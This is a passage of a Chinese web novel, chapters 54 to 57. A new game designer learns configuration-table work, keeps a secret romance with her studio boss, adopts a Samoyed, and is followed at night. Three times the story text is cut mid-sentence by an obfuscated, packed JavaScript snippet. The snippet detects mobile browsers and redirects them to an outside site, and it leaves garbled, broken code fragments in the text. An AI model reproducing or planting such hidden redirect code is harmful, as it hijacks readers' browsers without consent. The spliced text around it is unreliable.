王翰飞偷摸打量她的脸,她穿得简单随性,没有化妆,头发也是绑个马尾,胜在皮肤光滑细腻,脸型流畅小巧,三庭五眼比例好,眉眼水盈盈的,不算一眼惊艳的美女,细细品味会越看越觉得漂亮。 她怎么会引得池修白不顾形象地出手,似乎有点没有说服力。 他这么想绝不是因为田妙妙个人姿色不足,只是离池修白这种妖孽差一大截。王翰飞以为,池修白另一半的形象起步也得是个颜值网红。 “你跟老板什么关系?”反正快要走了,他索性问出来。 田妙妙一愣,她是关系户这事有这么明显吗? 她试探性地说:“为什么这么问,我和老板不就是老板和员工的关系吗?是因为你觉得我没有经验,所以才猜测我是关系户吗?” 王翰飞自然没把她往关系户这一块想,工作室的人好奇的无非是她和老板是不是情侣。 “老板不是替你大打出手吗?这是很罕见的,之前有玩家持刀来工作室前台闹事,老板当时也在,可就没出手,只联系安保人员来处理。” 原来是这事啊…… 田妙妙解释:“可能当时老板心情不好吧,他更看不惯性骚扰一类的,普通闹事他就没必要出手了。再说了,持刀的情况多危险,肯定要找专业的人来处理嘛。” “你说的有道理,是我狭隘了。”王翰飞点头:“我们员工也就私下瞎猜。你没生气吧?” 田妙妙耸肩:“我是不在意,万一传到老板耳朵中,对大家都不好。” 王翰飞:“老板人挺好的,不会计较这种小事,你用怕。” 田妙妙免不了好奇:“既然你觉得老板人蛮好,为什么还要离职啊?” “是我对项目信心不足,正好收到了另一个公司的offer,岗位也是我比较想尝试的,就这样了。” “好吧,看来《诡秘降临》对大家的影响很大。”田妙妙心情有些沉重。 如果说她之前离项目组遥远,难以有深刻的感受,而如今她如愿调来策划组,之后会深入接触《无限异变》的后续开发,她对项目的感情深度远非昔日可比,内心难免悲凉。 或许在王翰飞看来,她如今身份近似泰坦尼克号的乘客,满心欢悦地登上一条注定会沉没的巨轮。 王翰飞鼓励她:“其实也没有那么可怕,只是我这人性格原因,我趋利避害的本能比较强烈,所以有更稳定的去处,我就过去了。我还是由衷地希望,《无限异变》会赢下这场竞争。” “会赢的。”田妙妙说。不止是给自己打气,而是内心对池修白无缘由的信任。 她坚信他会是赢家。 两人结束闲聊,进入交接工作的正题。 王翰飞把电脑桌面整理得非常干净,工作上需要用到的相关资料,分门别类地归整到一个文件夹中。 她点开文件夹,里面套了很多小文件夹,一层一层点下去,看到了一长串的文档和表格。 “为什么会有那么多表格啊?”田妙妙还以为首先会看到核心策划案呢。 王翰飞深深地看她一眼,摇摇头:“你果然一点经验没有,填表可是我们策划的基本功,有时候大家都自嘲‘填表策划’。” “你看到的这些都是游戏配置表,游戏里面绝大部分可调整的内容,包括角色、装备、关卡、数值、任务、活动什么的,都在相应的配置表里。程序写好框架,策划在表里填数据,不用改代码就能快速调游戏。” 田妙妙天真地说:“策划不是游戏设计师吗,光填表格改动数据,也体现不出来设计和创意啊。” 王翰飞幽幽地说:“新入行的策划哪有机会接触核心设计啊,大部分时间在配表,按需求填数据,我在之前的那个公司,制作人都直接要求我们照着竞品填。” 田妙妙茫然地点头。 果然,实际中的策划工作和她想象中的策划工作是完全不一样的。 她想象中的策划工作,是天马行空的,是灵感大碰撞,而现实中的策划,主要是和各种表格打交道,设计玩法什么的,根本和新手执行策划毫不相干。 王翰飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295789|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你可以先把配置表看一下,熟悉一下里面的格式和内容,等会我演示一下这些配置表怎么使用。” “好的。” 接下来的几个小时,王翰飞带着田妙妙把所有配置表全部过了一遍,表格上各种内容究竟是什么意思,怎么填表,怎么修改,保存到什么路径,怎么通过转标工具把excel文件转为配置文件,怎么更新等等。 期间,他还把他工作中要对接的程序的微信号推给她加上。 她手忙脚乱的,大脑完全过载,他说哪里很重要,她就赶紧点头,然后在手机备忘录上记下来。 由于她完全没接触过策划的工作,所以任何一处要点,她都觉得需要记录。 更关键的是,还有很多她一知半解,无法全部理解的地方。 她有种第一次拿笔写字的感觉,什么都不会,什么都不受控制。 王翰飞讲得口干舌燥,嗓子都有点哑:“刚才我说的,你听明白了吗?” 田妙妙汗颜:“大概吧……” 王翰飞简直想晕厥,按了按太阳穴:“纯新人可真不好办啊。当初我做策划前,好歹是实习了几个月。你这一上手,就要自己配表,确实有些吃力。” 听到王翰飞沙哑的嗓音,田妙妙很羞愧,她赶紧起身给他倒水:“王老师,要不你先休息一会儿,我帮你倒杯咖啡。” 田妙妙态度恭敬,尊称他为老师,虽是工作交接,但毕竟教了她好多东西。 来到茶水间,意外撞见池修白,他正在用咖啡机。 瞥见她后,池修白悠哉地开口:“愁眉苦脸的,跟被鬼吸干了似的。” 田妙妙委屈道:“好累啊,我这是被工作吸干了。” 池修白:“不是你想当策划的吗,才第一天就嫌累。” 田妙妙叹气:“我太想当然了。” 池修白接好咖啡,喝了一口,斜靠在柜台边,“那让你回去?” 田妙妙狠狠吸了一口气,摇头:“不回去,什么乱七八糟的表格,我一定会战胜它们的!” “工作大体上都是1%的灵光一现,加上99%的重复劳动。”池修白说。 田妙妙看着他,沉重的心情稍稍变好,他真是上好的抚慰剂,哪怕不说话,光看着他的脸,都能让人恢复干劲。 她朝茶水间门口偷偷看过去,一脸做贼心虚地说:“电量耗尽了,能不能帮我充充电。” 池修白眉毛轻挑:“哦?怎么充?” 田妙妙含羞带怯地瞟他一眼:“网上都说,恋人的怀抱是最好的充电器。” 池修白笑笑,他放下咖啡杯,张开手臂:“过来吧。” 田妙妙小步挪过去,扑进他怀里,用力地吸他身上的味道。 清冽的男士香水味,还有咖啡的醇香,说不出的安心好闻。 她闭上眼,虽提心吊胆会不会有人来茶水间,可身体还是舍不得移开他的怀抱。 下一秒,哼着小调的女声越来越近。 田妙妙吓得赶紧从池修白的怀中起身,然而那女生好像遇到了什么开心事,脚步跟小鹿似的,蹦跳着直蹿进来。 两人怀抱才分开一半,就被闪现进来的女生撞见了。 “卧槽!”那女生瞪大双眼,不高不低地爆了个粗口。 听到熟悉的声音,田妙妙这才看过去。 来人是顾念瑶。 她险些惊吓到爆炸的心脏可算缓过来,拉着顾念瑶的胳膊,不由分说就往外走。 顾念瑶还怔着,被她拖着一直走到大阳台。 停下后,顾念瑶方才回过神:“老实交代,你怎么跟白boss抱一块儿了,我刚没眼花吧?!!” 55. 第 55 章 被顾念瑶撞破的那一刻,田妙妙非但没有慌乱,反而有种悬着的心终于落地的松快。 既然被发现了,倒不如干脆坦白。 她轻轻点头,语气坦荡:“是他,我们在一起了。” “什么时候的事?”顾念瑶眼睛瞪得溜圆,一脸不可置信,“居然一直瞒着我,我好伤心啊。” 田妙妙眼底掠过一丝歉意:“也没多久,和你同一天脱单,就是上次温泉山庄团建的时候。” “我的妈呀!”顾念瑶倒吸一口凉气,“我还以为白boss那次为你出手打人时,你们就暗度陈仓了呢,敢情你是憋到现在才说!” 田妙妙心头微顿。 其实那个时候,她早已对他情根深种,只是不敢承认,也不能承认。 顾念瑶促狭地撞了撞她的胳膊:“是不是被他英雄救美仗义出手帅晕了,直接芳心暗许?我本来还以为,你上次哭着从他办公室跑出来,这辈子都不想理他了。没想到啊,柳暗花明又一村。” 田妙妙轻轻吸了口气,语气认真:“这件事,我暂时不打算在工作室公开。” 顾念瑶立刻垮下脸,故作赌气:“哼,所以连我都要瞒?要不是我在茶水间撞见,你是不是打算藏到天荒地老?” “对不起嘛,我错了。”田妙妙连忙去摇她的手臂,软声哄道,“中午请你吃好吃的,好不好?你不理我,我真的会很难过的。” 顾念瑶瞥她一眼,嘴角却忍不住上扬:“算你识相。我还以为你见色忘友,早就把我抛到脑后了。” “怎么可能。”田妙妙乖乖保证,“你想知道什么,我都告诉你。” “这还差不多。”顾念瑶瞬间消气,眼睛一亮,“我刷到一家超火的面包店,中午一起去?对了,我还要跟你吐槽裴文山,我有点想分手了。” 田妙妙一怔:“不是吧,这才几天?” 顾念瑶长长叹了口气:“我让他发朋友圈官宣,他不肯。” 田妙妙一时不知如何安慰。 裴文山那人,一看就不是安分守己的类型。 “他……该不会脚踏两条船吧?” “应该没有。”顾念瑶摇头,“我翻过他手机,没发现别的女生,但他就是不愿意公开。我怀疑,他根本不想谈恋爱,只想当炮/友。” 田妙妙眉心微蹙:“那你打算怎么办?真的要分吗?” 顾念瑶语气带着一丝赌气:“那就把他当暖床工具人算了,反正我也不打算动真心了。本来我还写了好几条官宣文案,拍了好多照片,现在全白费了。” 她看向田妙妙,声音低了些:“你说,我这样是不是很卑微?” “如果你在意官宣的仪式感,那确实很委屈。”田妙妙轻声道,“裴组长那个人,看着就……” “看着就很花心,对吧?”顾念瑶自嘲一笑,“其实一开始我也只是想睡他玩玩,可真在一起了,又忍不住想要更多。可能我真的喜欢上他了,烦死。” 田妙妙心里轻轻一叹。 爱情这东西,最是身不由己。一旦对谁有了期待,便会被谁牵制。连顾念瑶这样洒脱的人,都开始患得患失。 “我不太会安慰人。”她轻声说,“要不你多接触点别的男生,说不定很快就不在乎他了。” “也行。”顾念瑶耸耸肩,“他一天不官宣,我一天就是自由身。对了——”她忽然凑近,“你有没有问过白boss,你们什么时候公开啊?” 田妙妙沉默了一瞬:“我不想公开,他应该也不想,所以没提过。” “你就从来没想过和他结婚吗?”顾念瑶一脸不可思议,“难道你们以后要隐婚?” 结婚? 这两个字像一根细针,轻轻在田妙妙心脏上扎了一下。 她连想都不敢想。 哪怕已经收下了陈语送的手镯,她也从不敢把“未来”“一辈子”这类词和池修白放在一起。 那太奢侈,也太危险。 “没有。”她轻轻摇头,“而且,他应该是不婚族。” “他跟你说的?”顾念瑶表情瞬间悲愤,“渣男!果然渣男都是扎堆的!” “不婚、丁克都是个人选择,不能一概而论。”田妙妙下意识替他辩解。 “你就自欺欺人吧。”顾念瑶恨铁不成钢,“说白了就是不想负责。” 田妙妙垂下眼,声音轻得几乎听不见:“……我不在意的。” 两人聊完,一起回茶水间倒水。 池修白已经不在了。 田妙妙暗暗松了口气,又有些后怕。 下次一定要克制,不能在工作室这么肆无忌惮。今天被顾念瑶撞见,算是有惊无险,若是换了别人,后果不堪设想。 她倒了杯咖啡,态度恭谨地递给王翰飞。 对方虽然对她这个反应略慢的新人颇有微词,但见她态度诚恳,也不好多说什么。 漫长的一天终于熬到下班。 王翰飞准点走人,田妙妙终于松了口气。她留下来加班,把白天的工作要点一一整理记录。 策划组的人陆续离开,办公室渐渐安静,最后只剩下她一人。 大约两小时后,一道身影静静停在她身旁。 田妙妙从屏幕前抬头,撞进池修白深邃的眼底。他站在光影里,目光落在她的电脑屏幕上,神情专注。 田妙妙下意识先看向办公室门,确认已经关好,才稍稍安心。 “你怎么来了?” “发微信没回,过来看看。” 田妙妙拿起手机,才看到他发来的消息,问她晚上怎么吃饭。 被工作一冲,她完全忘了。 经他一提,饥饿感瞬间涌上来,肚子还很应景地叫了一声。 “好饿。”她小声说。 池修白眉峰微蹙:“加班也要吃饭,用不着这么拼命。” 田妙妙仰起脸,眼睛弯成小月牙,语气不自觉带了点撒娇:“那你带我去吃。” “走。” “外面的人都走光了吧?”田妙妙不放心地看了一眼门口。 池修白淡淡瞥她:“有人,你就不敢跟我走了?” “当然怕啊。”田妙妙轻轻戳了戳他的腰,“今天已经被顾念瑶发现了,得小心一点。你不担心吗?” 池修白一把捉住她乱动的手指,指尖的温度烫得她心口一颤。 “有什么好担心的。” “那你敢在朋友圈官宣我吗?” 顾念瑶中午的话还萦绕在耳边,田妙妙一时冲动,脱口而出。 说完她就慌了,连忙补救:“我不是那个意思,我真的不想公开,你别误会。” 池修白低头看她,眼神很深,暗得看不清情绪,只隐约藏着一丝她读不懂的沉郁。 他轻声问:“你想让我官宣吗?” 田妙妙吓得连连摇头。 她怎么敢。 姜星的前车之鉴还摆在那里,贪心的人,往往一无所有。 她不能奢望自己是例外。 “真的不想。”她再次强调,声音轻而稳,“刚才的话你别放在心上,我很喜欢现在这样。” 池修白眉头紧锁,沉默片刻,轻轻叹了口气:“行,都听你的。” 他生气了? 是在怪她乱开玩笑,提醒她安分一点? 田妙妙心里发慌,小心翼翼地拉住他的手:“我错了,以后再也不提官宣了。” 池修白眉头皱得更紧,冷冷看着她,薄唇吐出一个字:“猪。” 田妙妙:“……” 她满脸问号。 又怎么了我的大少爷? 这人的心思也太难猜了。 “不想理你了,去吃饭。”池修白转身就走,“再待下去,我怕被你气饱。” 田妙妙连忙跟上,腆着脸黏上去:“别呀,你是我男朋友,当然要天天跟我说话,这是男友基本准则。” 池修白语气淡淡:“见不得光的男朋友,不用遵守任何准则。” 田妙妙心里一揪,小声委屈:“那我也不用遵守女友准则吗?” 池修白咬牙:“你可以试试。” “不敢不敢。”她立刻缩了缩脖子,莫名觉得后颈一凉。 一路顺利,没遇到任何同事。 坐进车里,田妙妙松了口气:“我们去吃什么?” “你选。”池修白情绪还没完全缓过来。 田妙妙不敢随便说随便,认真在手机上翻了半天:“吃烤鱼好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299841|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这家不好吃。” “那干锅牛蛙?” “上火,不吃辣。” “日料呢?看着很清淡。” “不想吃生冷。” “粤菜?” “没胃口。” 接连被拒,田妙妙彻底没辙:“那你说吃什么。” 池修白沉默两秒:“去吃烤鱼。” 田妙妙:“……你刚才不是说难吃吗?” 怎么跟甲方一样,改了八版,最后说还是第一版好。 “我知道一家味道不错的。”池修白目视前方,“朋友投资的,不用排队。” “太好了,终于能吃饭了。”田妙妙从包里拿出中午和顾念瑶一起买的面包,撕了一块递到他嘴边,“先垫垫,这个超好吃。” 池修白低头,微微张口,勉强吃了下去。 “怎么样怎么样?”田妙妙期待地看着他。 池修白咽下去,淡淡评价:“一般。” 田妙妙早习惯了。 要让眼高于顶的池修白说出“好吃”两个字,着实强人所难。 她自己也咬了一口,甜香在嘴里化开,一天的疲惫仿佛都被抚平了些。 车子安静地驶入夜色,霓虹灯光在池修白冷白的侧脸上明明灭灭。 田妙妙小口啃着面包,心里还在为刚才那句“见不得光的男朋友”闷闷不乐。 她不是不爱,是不敢爱。 越是喜欢,越是害怕抓不住。 池修白从后视镜里瞥了她一眼,见她鼓着腮帮子,眼神垂着,一副心事重重的样子,心头那点莫名的火气,不知不觉就软了下来。 他这人向来讨厌被人牵着鼻子走,可一对上她,情绪就总不受控制。 气她不自信,气她退缩,气她明明在自己身边,却总把自己当外人。 车子停在一家隐蔽的私房烤鱼店门口。 装修低调,环境安静,确实不用排队。 进了包厢,门一关,隔绝了外面所有声音。 田妙妙刚准备坐下,手机还没来得及掏出来,手腕忽然被人轻轻一拉,整个人不稳地跌进一个带着淡淡冷香的怀里。 她吓了一跳,下意识抬头。 池修白低头看着她,眉峰微蹙,眼神幽暗得像深夜的海,瞧不出情绪,却又沉甸甸的,全是她。 “刚才在车里,你想说什么?”他声音低沉,带着一丝不易察觉的紧绷。 田妙妙心跳猛地漏了一拍,脸颊瞬间发烫。 “我……”她喉咙发紧,小声道,“我不是不想公开,我只是害怕。” “怕什么?”池修白指尖轻轻捏住她的下巴,迫使她看着自己,“怕我甩了你?” 田妙妙眼眶微微发热,却倔强地不肯低头:“怕我配不上你,怕别人说闲话,怕你只是一时新鲜,怕……最后什么都留不住。” 她越说越小声,到最后几乎细不可闻。 池修白的心,像是被什么东西轻轻扎了一下。又软,又疼。 “田妙妙。”池修白忽然叫她的名字,语气是前所未有的认真。 “我有必要跟你说清楚。”他垂眸凝视着她,眼底深暗如夜,却又亮得惊人,“我既然敢在我爸妈面前承认你,就从来没有想过,只是玩玩而已。” 田妙妙呼吸一滞,胸腔里的心跳失控般加速,砰砰地撞击着耳膜。 她一瞬不瞬地望着他,望着他形状优美、微微抿起的薄唇,几乎屏住呼吸,期待着他说出更让人安心的话。 “你对这段关系,有任何想要的,都可以直接告诉我。”池修白的指尖,轻轻抚过她的下唇,而后低头轻咬了一下,“别在我面前委屈自己,也不用小心翼翼讨好我,知道吗?” 他顿了顿,声音低沉而认真:“我希望你跟我在一起的时候,是轻松的、开心的、不用害怕失去的。只有两个人都觉得舒服的关系,才能走得长远。” 田妙妙鼻腔微微发酸,眼眶一下子就红了。 她用力点头,声音哽咽,却无比真诚:“和你在一起,我真的很开心。我最不后悔的事情就是遇见你。” “好了别哭,”他嘴角牵出笑意,冲散当前的沉重氛围,抬手轻轻拭去她眼角的泪,“我可不擅长处理女生的眼泪。” 56. 第 56 章 忙碌又快乐的日子像被按了快进键,一晃,两个月就这么过去了。 王翰飞走后,他的工作全压在了田妙妙身上。虽说上手过程磕磕绊绊,但她一向细心稳妥,没出过半点儿低级错误。 宋雅容对她改观不少,周会上还特意点名表扬她这段时间的工作表现。 只是工作上遇到难题,田妙妙总不好意思找组长开口,可一到下班,她倒是半点不跟池修白客气。 池修白嘴上毒舌得要命,句句嫌她笨,态度却半点不含糊,该讲的,该教的,一样不落,堪称耐心细致。 除了基础填表、日常执行,他还会丢给她一堆专业书,全是对策划岗大有裨益的的东西。她哪里不懂,尽管问,他从不敷衍,更不会轻飘飘来一句“你现在还没必要学这些”。 他讲得锋利直白,一遍不懂就讲两遍、三遍。 一边冷着脸骂她笨得要死,一边逼着她必须全部搞懂,一个知识点都不准放过。 在实操打磨和池修白这种近乎严苛的带教下,田妙妙进步神速。短短两个月,成长抵得上别人熬两三年。 她像块海绵,疯狂吸收一切,为日后独当一面打下最坚实的底子。 与此同时,《逐鹿天下》海外版一路爆火,势头席卷全球,完全超出业内预料。SLG领域已经太久没有这种级别的爆款,游戏连续两个月登顶全球畅销榜,恐怖的流水让无数人眼红,工作室顺势扩招,士气高涨。 两个月前,工作室员工还在为《无限异变》的竞品压力而人心惶惶,如今已是截然不同的光景。 而《无限异变》本身,在首轮线下测试反馈后完成迭代,优化大幅提升,新一轮测试已开放预约,即将开启首次大规模内测。 S市入秋,凉意渐深。 池修白一声不响把她的衣柜全换了,添置了风衣、大衣、靴子等,不仅件件合身,还都是最衬她气质的款式。 她本就身形纤瘦高挑,穿上长款风衣配皮靴,利落又亮眼,褪去了学生气,整个人愈发像个精致时髦的都市女郎。 家里书房和软装改造也全部落地,原本空旷冰冷的房子,一点点被她的气息填满,越来越有烟火气,越来越像一个家。 除此之外,她的C2驾照也顺利到手。 池修白直接送了她一辆冰莓粉保时捷Taycan。 田妙妙又惊又无奈,实在不敢开这种百万级豪车去上班。 这车她之前在网上刷到,随口夸了句好看,自己都没放在心上,他却默默记着,一声不响就给她准备好了。 池修白绝对算不上温柔体贴那一型,甚至称得上难搞。 毒舌、爱怼人、强迫她学习、床上精力旺盛到让她吃不消。 可除此之外,他完美得挑不出错。 出手大方到离谱,吃穿住行全包,她只要对什么东西多瞧一眼,下一秒就会出现在她面前。 田妙妙从最开始不敢收,到后来麻木,再到最后,干脆主动要。 用他的话说—— 钱多得没处花,她越花,他越有劲儿赚。 唯独一件事,她提了好几次,都被他直接忽略。 养狗。 别的东西,她要什么有什么,只要一提狗,他就当没听见。 越是不让,田妙妙反而越较劲。 如今她在策划组站稳了脚,手头也有了存款,完全有能力养一只属于自己的小狗。 周末,池修白出差。 田妙妙的买狗机会来了,直接一波先斩后奏。 她网上早就联系好本地高端犬舍,视频里一眼看中一只三个月大的萨摩耶,疫苗齐全,性格活泼亲人。付了定金,跟老板约好当天看狗,合适的话,就直接带走。 一见到实物,田妙妙心都化了。 雪白的小狗一见到她就摇尾巴,一张笑脸软乎乎的,黏人又可爱。 她没犹豫,付完钱,把狗抱上车,顺带搬空一堆养狗用品,满载而归。 回到家,小萨摩耶一点不怕生,到处溜达,玩累了就乖乖趴在地毯上。 田妙妙陪它闹了大半天,累归累,越看越喜欢,心都要被萌化了。 她拍了张照片发给池修白:可爱不? 池修白回得很快:智商看起来不高。 田妙妙立刻维护:它很乖的,不会乱拉乱尿。 池修白:敢乱拉,直接扔出去。 田妙妙:你可是它爸比。 池修白:没兴趣给狗当爹。 田妙妙:你不接受它,我就只能带它出去住。 池修白:……你赢了。 小狗像是听懂了气氛不对,轻轻蹭过来,扒着她的小腿,小声嗷呜嗷呜地撒娇。 田妙妙心瞬间软成一滩水,把它搂进怀里,声音不自觉放轻、变柔:“哦~我可怜的小宝贝。” 晚上十点多,池修白回来了。 田妙妙一直饿着肚子,安安静静等他。 门一开,狗狗警惕地轻叫一声。 田妙妙眼睛一亮,几乎是飞奔过去,扑进他怀里。 池修白稳稳接住她,低头,在她额头上印下一个轻柔的吻。 狗狗也凑过来,在他脚边绕来绕去,努力刷存在感,却被他不动声色、轻轻一脚拨开。 “两天不见,好想你。”田妙妙仰头望着他,眼睛亮晶晶的。 池修白眼底含着浅淡的笑意,语气却淡淡:“是吗?想我想到家里多了一条狗?” 田妙妙踮起脚,在他脸上吧唧一口:“别跟它计较嘛,我心里最爱的,永远是你。” 池修白神色稍缓,瞥了脚边那团白乎乎的小东西:“这小畜生叫什么?” 田妙妙其实还没来得及想,看着那一身雪白,脱口而出:“大白?” 池修白脸一黑。 “不行,重取。” 田妙妙眨眨眼:“小白白?” 池修白瞪她,咬牙:“故意的是不是?” 田妙妙有所意会后,忍不住笑:“谁让它这么白,总不能叫煤球吧?” 池修白面无表情:“那就叫煤球。” 反正,不准带白字。 田妙妙无奈妥协:“那叫雪球,总可以了吧?” 叫煤球,也太黑白不分了。 池修白一脸嫌弃:“随便你,土得很。” “名字土,好养活。”田妙妙眼珠一转,又有了主意,“要不再取个洋名,叫Mr.White,怎么样?” 池修白气笑:“你知道电影里叫Mr.White的都是什么人吗?还给它抬身份。” 田妙妙不管不顾:“我觉得合适,就这么定了。” 池修白冷嗤一声:“随你。” 田妙妙得寸进尺,轻轻拉他衣角:“那它现在也是家庭一员了,你不能赶它走。” 池修白忽然靠近,气息压得低,眼神带着点玩味的强势:“这么急,想跟我组建家庭?” 田妙妙脸颊一热,心跳微微加快,却还是仰着脸,认真看着他:“不行吗?还是你觉得,我配不上你?” 池修白唇角一勾:“行,就当它是你的陪嫁丫头。” 田妙妙:“它是男孩子,是Mr.White。” 池修白淡淡一句:“早晚会变成雪公公。” 田妙妙:“它还这么小,你就想着给它绝育,你太狠了。” 池修白:“不然还让它出去乱搞?” 田妙妙:“万一自由恋爱呢。” 池修白扫了狗一眼,毫不留情:“就这傻样,难。” 田妙妙:“……” 这时雪球饿了,在脚边蹭来蹭去。 田妙妙给它开罐头,小狗埋头猛吃,好不可爱。 这时,她自己肚子也咕咕叫起来。 “好饿。” 池修白笑得有些欠揍:“怎么,你要跟狗抢食?” “我是在等你一起吃饭。”田妙妙微微嘟嘴。 池修白脸色稍软,把她拥进怀里,却依旧嘴硬:“不是让你别等?” 田妙妙小声:“忍不住,我能咋办。” 池修白没再怼她,直接拿出手机点餐。 点完,他从行李箱拿出礼物。 除了小纪念品,还有一条一看就价值不菲的项链。 他伸手,直接给她戴上。 田妙妙心头发热,摸了摸颈间的项链:“怎么突然送这个?” 池修白语气平淡,不带半分煽情:“看到了,顺手买的。” 他这人从不讲究什么纪念日、仪式感,送东西无非是想送就送。 他的女人,就该穿最好的、戴最好的,别人有,她必须有,别人没有,她也要有。 不是浪漫,是他骨子里的强势。 也是这段时间,田妙妙才真正意识到池修白有多有钱。 游戏行业本就暴利,他早年做出好几个以小博大的爆款,后续投资收益源源不断,财富远超她想象。 这样的人还老老实实上班,早就不是为钱,而是为了证明自己,洗刷过去的非议。 田妙妙关切问道:“这次的游戏行业峰会开得怎么样?” 池修白一脸不耐:“浪费时间。” 田妙妙:“遇到以前光希的人了?” 池修白:“遇上了,还听了一场他们的交流报告。” 田妙妙:“然后呢?” 池修白唇角勾起一抹极淡的轻蔑:“他们那项目,活不过测试。” 田妙妙微微惊讶:“这都能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308609|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来?” 池修白语气冷静而犀利:“没有成型的核心玩法,只会空谈技术、趋势、AI,说得天花乱坠,内里全是漏洞,连自己要做什么游戏都没想明白。” 田妙妙轻轻点头:“也是被《无限异变》逼得太急,才乱了阵脚。” 池修白:“本质是投机。看到什么火,就抄什么,根本没有自己的判断。” 田妙妙:“那很快就会被市场淘汰吧?” 池修白:“现在的市场,早就不是前几年。只会跟风,死得更快。” 田妙妙望着他,眼睛一点点亮起来:“那你这样的人,反而会越来越厉害。” 池修白挑眉,语气带着惯有的傲气:“对我这么有信心?” 田妙妙认真点头,语气坚定:“当然,我誓死跟你混。” 池修白心头一软,声音放轻:“我也喜欢现在这个时代。技术成熟,能实现的东西更多,作品,也比以前更有分量。” 田妙妙轻声说:“我就知道,你从来不会困在过去。” 外卖送到,两人依偎在一起,安安静静吃完了一顿晚饭。 温暖,安稳,像无数个普通又甜蜜的日夜。 只是这份平静,只维持了一天。 第二天清晨五点,天还没亮,雪球就开始嗷嗷叫。 好在小区人少、密度低,不至于扰民,否则早就被投诉上门。 田妙妙困得眼皮打架,还是挣扎着爬起来喂狗。 一进客厅,一股淡淡的尿味飘来,她瞬间清醒。 昨天还乖巧懂事、天使一般的小狗,一夜之间,原形毕露。 田妙妙又气又笑,赶紧清理干净,对着雪球小声警告:“乖一点,别被爸爸发现,不然你就惨了。” 雪球端端正正坐好,一脸天真无邪,轻轻汪了一声。 田妙妙给它套上牵引绳,带它下楼遛了半小时,才牵回家。 一进门,池修白已经醒了,眉头微蹙:“它在家里尿了。” 田妙妙一愣:“我都清理过,还喷了除味剂……” 池修白:“我闻得到。” 田妙妙默默在心里感叹,真是狗鼻子。 嘴上却故意逗他:“这嗅觉,果然是亲父子。” 池修白眼神微眯,危险气息淡淡散开:“你说我是狗?” 田妙妙立刻认怂,把牵引绳往他手里一塞,故作破罐子破摔:“算了,你想怎么处理就怎么处理,丢了也行,谁让它不听话。” 她其实心里紧张。 她在赌,赌他再毒舌,再嫌弃,也不是真的冷血。 如果他真的不能接受,她也只能忍痛把狗送回去,就当这笔钱,打水漂了。 池修白看了看绳子,沉默几秒,冷冷叹了口气。 语气依旧不好,却没半点要扔狗的意思。 “带都带回来了,扔什么。”他声音冷硬,“我之前不同意,不是讨厌狗,是不想随便对一条生命不负责任。” 田妙妙心头一震。 她以为他会发火,会训斥,会毫不留情把狗赶走。 可他没有。 从雪球踏进家门的那一刻起,他就已经,接纳了它。 田妙妙眼眶微微发热,轻声道歉:“对不起,我不该跟你赌气,一时冲动就把它抱回来了。” 池修白垂眸,语气淡淡,却戳中她最软的地方:“家里多条狗也好,你一个人在这儿,本来就够孤单的。” 田妙妙鼻尖一酸。 他什么都知道。 她和家里断联,无依无靠,嘴上不说,他全都看在眼里。 池修白:“你跟你爸早就不联系了,别以为我看不出来。说什么你爸去外地打工,也都是骗人的吧。” 田妙妙声音很轻:“嗯,别问了,就当他不存在。” 池修白没追问,只冷硬地丢来一句:“我喜欢的是你,别的不重要。” 田妙妙眼眶微热。 池修白看向那只傻狗,冷声道:“我已经约了宠物训练师,之后定期上门,纠正它的不良习惯。” 田妙妙诧异:“这就请老师了?” 池修白继续说:“还有宠物营养师、美容师也约了。” 田妙妙:“……惯子如杀子,你别太溺爱了。” 池修白瞥她一眼,语气傲娇又强势:“没办法,谁让它是我儿子。” 田妙妙蹲下来摸雪球:“听见没,你好日子来了。” 雪球歪头,嗷呜一声。 田妙妙看着眼前的一切,心里被填得很满。 有工作,有他,有家,有小狗。 她以为这样幸福平和的日子会一直继续下去。 然而,平静之下,暗流翻涌。新的变故,倏忽而至。 57. 第 57 章 美好的日子总是转瞬即逝,来到S市已有半年,田妙妙从未想过,田建军会以这样不堪的方式,再次闯入她的生活。 像一块被刻意遗忘的暗疮,在无人察觉的角落,再度发炎溃烂,渗着蚀骨的脓水。 那日,她吃完晚饭,照例下楼遛狗。 在昏黄的路灯尽头,立着一道既陌生又熟悉的黑影,像蛰伏的野兽,在暗处死死窥伺着她。 田妙妙一手牵狗绳,一手举着手机,正与池修白视频通话。 一心二用之间,她虽对那团黑影心生寒意,脊背发毛,却也并未放在心上。 夜色渐深,这股莫名的悚然感越来越重,田妙没多逗留,匆匆牵着狗往回走 身后,那道黑影竟也抬步,不远不近地跟着她。 田妙妙心头一颤,不敢回头,慌忙掐断视频通话,拽着狗快步往小区赶。 